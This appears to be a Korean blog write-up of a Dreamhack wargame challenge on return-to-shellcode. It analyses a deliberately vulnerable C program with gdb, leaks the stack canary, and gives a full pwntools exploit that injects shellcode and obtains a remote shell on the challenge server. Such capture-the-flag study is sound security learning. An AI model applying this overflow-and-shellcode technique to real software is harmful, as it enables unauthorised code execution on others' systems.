#include <stdio.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
int main() {
char buf[0x50];
init();
printf("Address of the buf: %p\n", buf);
printf("Distance between buf and $rbp: %ld\n",
(char*)__builtin_frame_address(0) - buf);
printf("[1] Leak the canary\n");
printf("Input: ");
fflush(stdout);
read(0, buf, 0x100);
printf("Your input is '%s'\n", buf);
puts("[2] Overwrite the return address");
printf("Input: ");
fflush(stdout);
gets(buf);
return 0;
}
코드부터 해석해보면
50 byte의 buf 변수를 할당하고
buf의 주소와 %rbp - buf 변수 주소를 통해 차이를 출력해준다.
이후 100 byte만큼의 값을 읽어 들여 그 값을 출력하고
다시 한번 값을 입력받고 종료한다.
즉, 첫번째 입력 시 canary 값을 알아내고
두 번째 입력 시 shellcode로 return 하면 될 것으로 예상된다.
프로그램을 실행해보면 매번 buf 주소는 변경되지만
ASLR이 걸려있던 canary가 걸려있던 %rbp - buf의 값은 항상 고정이기에 offset은 고정값임을 알 수 있다.
┌──(kali㉿kali)-[~/Downloads/1]
└─$ ./r2s
Address of the buf: 0x7ffda363af30
Distance between buf and $rbp: 96
[1] Leak the canary
Input: a
Your input is 'a
'
[2] Overwrite the return address
Input: a
┌──(kali㉿kali)-[~/Downloads/1]
└─$ ./r2s
Address of the buf: 0x7fffca374750
Distance between buf and $rbp: 96
[1] Leak the canary
Input: a
Your input is 'a
'
[2] Overwrite the return address
Input: a
┌──(kali㉿kali)-[~/Downloads/1]
└─$ ./r2s
Address of the buf: 0x7fffed2a6f90
Distance between buf and $rbp: 96
[1] Leak the canary
Input: a
Your input is 'a
'
[2] Overwrite the return address
Input: a
memory leak은 buf 변수 출력 시 발생하며 buf 변수의 크기를 완전히 다 채웠을 때 null 값이 없기에 끝이라 인식하지 못하고 데이터를 추가로 출력해주면서 발생한다.
gdb로 main 함수를 디스어셈블러 코드로 보면 아래와 같다.
Dump of assembler code for function main:
0x00000000000008cd <+0>: push %rbp
0x00000000000008ce <+1>: mov %rsp,%rbp
0x00000000000008d1 <+4>: sub $0x60,%rsp
0x00000000000008d5 <+8>: mov %fs:0x28,%rax
0x00000000000008de <+17>: mov %rax,-0x8(%rbp)
0x00000000000008e2 <+21>: xor %eax,%eax
0x00000000000008e4 <+23>: mov $0x0,%eax
0x00000000000008e9 <+28>: call 0x88a <init>
0x00000000000008ee <+33>: lea -0x60(%rbp),%rax
0x00000000000008f2 <+37>: mov %rax,%rsi
0x00000000000008f5 <+40>: lea 0x16c(%rip),%rdi # 0xa68
0x00000000000008fc <+47>: mov $0x0,%eax
0x0000000000000901 <+52>: call 0x720 <printf@plt>
0x0000000000000906 <+57>: mov %rbp,%rax
0x0000000000000909 <+60>: mov %rax,%rdx
0x000000000000090c <+63>: lea -0x60(%rbp),%rax
0x0000000000000910 <+67>: sub %rax,%rdx
0x0000000000000913 <+70>: mov %rdx,%rax
0x0000000000000916 <+73>: mov %rax,%rsi
0x0000000000000919 <+76>: lea 0x160(%rip),%rdi # 0xa80
0x0000000000000920 <+83>: mov $0x0,%eax
0x0000000000000925 <+88>: call 0x720 <printf@plt>
0x000000000000092a <+93>: lea 0x173(%rip),%rdi # 0xaa4
0x0000000000000931 <+100>: call 0x700 <puts@plt>
0x0000000000000936 <+105>: lea 0x17b(%rip),%rdi # 0xab8
0x000000000000093d <+112>: mov $0x0,%eax
0x0000000000000942 <+117>: call 0x720 <printf@plt>
0x0000000000000947 <+122>: mov 0x2006c2(%rip),%rax # 0x201010 <stdout@@GLIBC_2.2.5>
0x000000000000094e <+129>: mov %rax,%rdi
0x0000000000000951 <+132>: call 0x750 <fflush@plt>
0x0000000000000956 <+137>: lea -0x60(%rbp),%rax
0x000000000000095a <+141>: mov $0x100,%edx
0x000000000000095f <+146>: mov %rax,%rsi
0x0000000000000962 <+149>: mov $0x0,%edi
0x0000000000000967 <+154>: call 0x730 <read@plt>
0x000000000000096c <+159>: lea -0x60(%rbp),%rax
0x0000000000000970 <+163>: mov %rax,%rsi
0x0000000000000973 <+166>: lea 0x146(%rip),%rdi # 0xac0
0x000000000000097a <+173>: mov $0x0,%eax
0x000000000000097f <+178>: call 0x720 <printf@plt>
0x0000000000000984 <+183>: lea 0x14d(%rip),%rdi # 0xad8
0x000000000000098b <+190>: call 0x700 <puts@plt>
0x0000000000000990 <+195>: lea 0x121(%rip),%rdi # 0xab8
0x0000000000000997 <+202>: mov $0x0,%eax
0x000000000000099c <+207>: call 0x720 <printf@plt>
0x00000000000009a1 <+212>: mov 0x200668(%rip),%rax # 0x201010 <stdout@@GLIBC_2.2.5>
0x00000000000009a8 <+219>: mov %rax,%rdi
0x00000000000009ab <+222>: call 0x750 <fflush@plt>
0x00000000000009b0 <+227>: lea -0x60(%rbp),%rax
0x00000000000009b4 <+231>: mov %rax,%rdi
0x00000000000009b7 <+234>: mov $0x0,%eax
0x00000000000009bc <+239>: call 0x740 <gets@plt>
0x00000000000009c1 <+244>: mov $0x0,%eax
0x00000000000009c6 <+249>: mov -0x8(%rbp),%rcx
0x00000000000009ca <+253>: xor %fs:0x28,%rcx
0x00000000000009d3 <+262>: je 0x9da <main+269>
0x00000000000009d5 <+264>: call 0x710 <__stack_chk_fail@plt>
0x00000000000009da <+269>: leave
0x00000000000009db <+270>: ret
코드 중 특이사항만 확인해보면
우선 canary 부분.
...
0x00000000000008d5 <+8>: mov %fs:0x28,%rax
0x00000000000008de <+17>: mov %rax,-0x8(%rbp)
0x00000000000008e2 <+21>: xor %eax,%eax
0x00000000000008e4 <+23>: mov $0x0,%eax
...
0x00000000000009c6 <+249>: mov -0x8(%rbp),%rcx
0x00000000000009ca <+253>: xor %fs:0x28,%rcx
0x00000000000009d3 <+262>: je 0x9da <main+269>
0x00000000000009d5 <+264>: call 0x710 <__stack_chk_fail@plt>
...
main + 8 ~ 23
%fs:0x28 값을 가져와 %rbp - 0x8 위치에 넣고 해당 변수를 초기화 한다.
main + 249 ~ 264
%rbp - 0x8 위치의 값을 %fs:0x28 값과 비교해서 같으면 main + 269로 점프하고 다르면 __stack_chk_fail 함수를 call 한다.
buf 변수 부분
...
0x0000555555400956 <+137>: lea -0x60(%rbp),%rax
0x000055555540095a <+141>: mov $0x100,%edx
0x000055555540095f <+146>: mov %rax,%rsi
0x0000555555400962 <+149>: mov $0x0,%edi
0x0000555555400967 <+154>: call 0x555555400730 <read@plt>
...
코드 상 0x50 크기로 선언 되었으나 %rbp - 0x60 부터 위치함을 알 수 있다.
gets 함수 부분
...
0x00005555554009b0 <+227>: lea -0x60(%rbp),%rax
0x00005555554009b4 <+231>: mov %rax,%rdi
0x00005555554009b7 <+234>: mov $0x0,%eax
0x00005555554009bc <+239>: call 0x555555400740 <gets@plt>
...
마찬가지로 buf 변수를 사용하기에 %rbp - 0x60 부터 데이터가 입력된다.
종합해보면
buf 변수는 %rbp - 0x60 에 위치하며, canary 값은 %rbp - 0x8 에 위치한다.
코드에서 0x100만큼 값을 받아들이며, 만일 buf 변수에 0x60 - 0x8의 크기만큼 데이터가 들어오면 할당된 공간 내에 입력 값의 마지막을 나타내는 문자인 null이 없기에 buf 변수 내 값 출력 시 그 이후의 값인 canary 값을 출력하게되며, null을 만날때까지 출력하게 된다.
다시 설명하면, canary 값은 0x1122334455667700과 같이 임의의 값 7 byte와 마지막 0x00을 포함하기에 (아래 참조) 0x60 - 0x8의 크기만큼 데이터가 들어오면 canary의 마지막 00이 \n으로 변경되어 0x112233445566770a가 될 것이며 canary 값이 출력될 것이다.
#canary 값 받기 전
...
0x7fffffffe2b0: 0x0000000000000000 0x0000555555400780
0x7fffffffe2c0: 0x00007fffffffe3c0 0x0000000000000000
...
#canary 값 받은 후
...
0x7fffffffe2b0: 0x0000000000000000 0x0000555555400780
0x7fffffffe2c0: 0x00007fffffffe3c0 0x02348554001f3400
...
(canary 값을 받기 전/후의 스택 데이터를 보면 아래와 같으며, canary 마지막 값 (메모리 상 첫번째 값)이 \x00인 것을 볼 수 있다.)
그럼 이를 받아와서 canary를 우회하고 shellcode로 return하면 될 것이다.
우선 canary 값을 가져와보자.
canary 값을 가져오기 위한 코드는 아래와 같고, (사용하지는 않았지만 buf 변수의 주소를 미리 가져왔다.)
from pwn import *
#p=remote()
p=process('./r2s')
canary_input = b'A'*(0x60-0x8)
canary = b''
p.recvuntil(b'0x')
ret_add = p.recv(12)
p.sendlineafter(b'put: ',canary_input)
p.recvline()
canary = b'\x00'
canary += p.recv(7)
print(canary)
pause()
p.recvuntil(b'put: ')
마지막에 pause()를 걸어 대기시킨 다음, gdb로 분석해보자.
실행 중인 프로세스를 gdb로 분석하기 위해서는 터미널 2개가 필요하다.
우선 위의 파이썬 코드를 터미널 #1에서 실행시키면 아래와 같이 대기하며,
┌──(kali㉿kali)-[~/Downloads/1]
└─$ python a.py
[+] Starting local process './r2s': pid 56031
b"\x00\x8cw\xb2'\x8f\xaa\x80"
[*] Paused (press any to continue)
터미널 #2 에서 아래와 같이 gdb로 접근할 수 있다.
┌──(kali㉿kali)-[~]
└─$ ps aux | grep r2s
kali 56031 0.0 0.0 2284 680 pts/1 Ss+ 21:56 0:00 ./r2s
kali 56053 0.0 0.1 6308 2276 pts/2 S+ 21:56 0:00 grep --color=auto r2s
┌──(kali㉿kali)-[~]
└─$ gdb -p 56031
이후 #2에서 메모리를 확인해보면
...
0x7ffeff11c8b8: 0x0000561c5ce009c1 0x4141414141414141
0x7ffeff11c8c8: 0x4141414141414141 0x4141414141414141
0x7ffeff11c8d8: 0x4141414141414141 0x4141414141414141
0x7ffeff11c8e8: 0x4141414141414141 0x4141414141414141
0x7ffeff11c8f8: 0x4141414141414141 0x4141414141414141
0x7ffeff11c908: 0x4141414141414141 0x4141414141414141
0x7ffeff11c918: 0x80aa8f27b2778c0a 0x0000000000000000
0x7ffeff11c928: 0x00007ff1878107fd
...
출력된 값과 스택에 저장된 canary 값이 같음을 확인할 수 있다.
이제 마지막 gets 함수에 넣을 데이터를 구성해보자.
gets 함수도 마찬가지로 buf 변수를 쓰기에 총 크기는 0x60 byte이며
구성은 dummy (0x60 - 0x8) + canary 0x8 byte + sfp 8 byte + ret address (buf 변수 address)
가 된다.
이를 기준으로 코드를 조금 수정해보면 아래와 같다.
from pwn import *
context.arch = 'amd64'
p=remote('host3.dreamhack.games',8847)
#p=process('./r2s')
canary_input = b'A'*(0x60-0x8)
canary = b''
p.recvuntil(b'0x')
ret_add = p.recv(12)
p.sendlineafter(b'put: ',canary_input)
p.recvline()
canary = b'\x00'
canary += p.recv(7)
ret_add = p64(int(ret_add,16))
totlen = 0x60-0x8
pay = b''
pay += asm(shellcraft.sh())
pay += b'\x90'*(totlen-len(pay))
pay += canary
pay += b'\x90'*8
pay += ret_add
p.sendlineafter(b'put: ',pay)
p.interactive()
┌──(kali㉿kali)-[~/Downloads/1]
└─$ python a.py
[+] Opening connection to host3.dreamhack.games on port 8847: Done
[*] Switching to interactive mode
$ id
uid=1000(r2s) gid=1000(r2s) groups=1000(r2s)
$ cat flag
DH{----------#플래그는 삭제}
'Wargame > Dreamhack' 카테고리의 다른 글
rop (0) | 2022.07.20 |
---|---|
Return to Library (0) | 2022.07.19 |
ssp_001 (0) | 2022.07.18 |
basic_exploitation_001 (0) | 2022.07.18 |
basic_exploitation_000 (0) | 2022.07.18 |